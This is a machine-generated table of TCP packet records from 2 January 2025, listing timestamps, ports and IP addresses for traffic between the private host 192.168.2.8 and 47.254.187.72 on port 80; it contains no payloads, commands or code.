Jan 2, 2025 20:20:03.382138014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382143021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382155895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382167101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382169008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382181883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382205009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382215977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382241964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382251024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382251024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382251024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382286072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382292986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382306099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382318020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382324934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382381916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382381916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382441044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382453918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382464886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382477045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382492065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382503033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382524967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382528067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382528067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382531881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382544041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382556915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382565022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382580042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382597923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382602930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382611990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382628918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382631063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382641077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382652998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382662058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382667065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382678986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382682085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382693052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382704973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382709026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382718086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382740021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382752895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382759094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382759094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382765055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382790089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382796049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382801056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382811069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382862091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382862091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382873058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382919073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382931948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382986069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382986069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383018017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383037090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383050919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383065939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383073092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383079052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383091927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383096933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383096933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383105993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383116961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383130074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383131027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383151054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383156061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383164883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383177042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383188963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383199930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383212090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383219004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383219004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383219004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383227110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383299112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383299112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383307934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383328915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383339882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383351088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383363008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383374929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383387089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383399010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.383414984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383414984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383414984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.383461952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.455620050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.455631971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.455643892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.455657005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.455670118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.455682993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.455696106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.455699921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.455741882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.455802917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.471683979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.471693993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.471707106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.471719980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.471733093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.471769094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.471769094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.471832037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.471847057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.471858978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.471869946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.471900940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.471940041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472688913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472702026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472712994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472726107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472739935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472753048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472754955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472754955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472765923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472774982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472845078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472845078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472848892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472858906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472870111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472882032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472894907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.472918034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472918034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472939014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.472997904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473011017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473025084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473035097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473061085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473061085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473104954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473160982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473172903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473186016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473196030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473210096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473222017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473226070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473226070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473248005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473283052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473306894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473372936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473469973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473480940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473494053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473505020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473516941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473527908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473530054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473530054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473541021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.473551989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473602057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.473602057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475431919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475444078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475455046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475466967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475478888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475488901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475527048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475527048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475528955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475528002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475542068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475554943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475558043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475562096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475577116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475588083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475596905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475596905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475601912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475615025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475625992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475625992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475625992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475640059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475649118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475652933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475666046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475711107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475711107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475711107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475750923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475763083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475773096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475784063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475796938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475800037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475814104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475816011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475830078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475841999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475847006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475847006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475855112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475862026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475867033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475879908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475882053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475893021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475907087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.475909948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475909948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475934029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.475945950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476100922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476113081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476125956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476138115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476150036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476161957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476175070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476176023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476176023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476176023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476186991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476200104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476207018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476207972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476212025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476224899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476237059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476248980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476248980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476255894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476264954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476268053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476275921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476283073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476290941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476295948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476310015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476321936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476327896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476334095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476347923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476350069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476371050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476372004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476392031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476399899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476403952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476414919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476428032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476439953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476452112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476464987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476466894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476466894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476466894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476485014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476505995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476538897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476552010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476562977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476581097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476592064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476603985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476604939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476604939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476604939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476618052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476629972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476643085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.476649046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476670027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476670027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.476699114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.545461893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.545475960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.545496941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.545507908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.545528889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.545541048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.545553923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.545566082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.545587063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.545587063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.545587063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.545640945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.545640945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.561717033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.561728954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.561748028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.561759949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.561772108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.561781883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.561788082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.561796904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.561810017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.561837912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.561837912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562551975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562562943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562573910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562592030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562602043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562613010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562625885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562625885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562638998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562655926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562664032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562665939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562690973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562690973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562695980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562719107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562726974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562731028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562757969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562763929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562764883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562782049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562786102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562807083 CET	80	49704	47.254.187.72	192.168.2.8
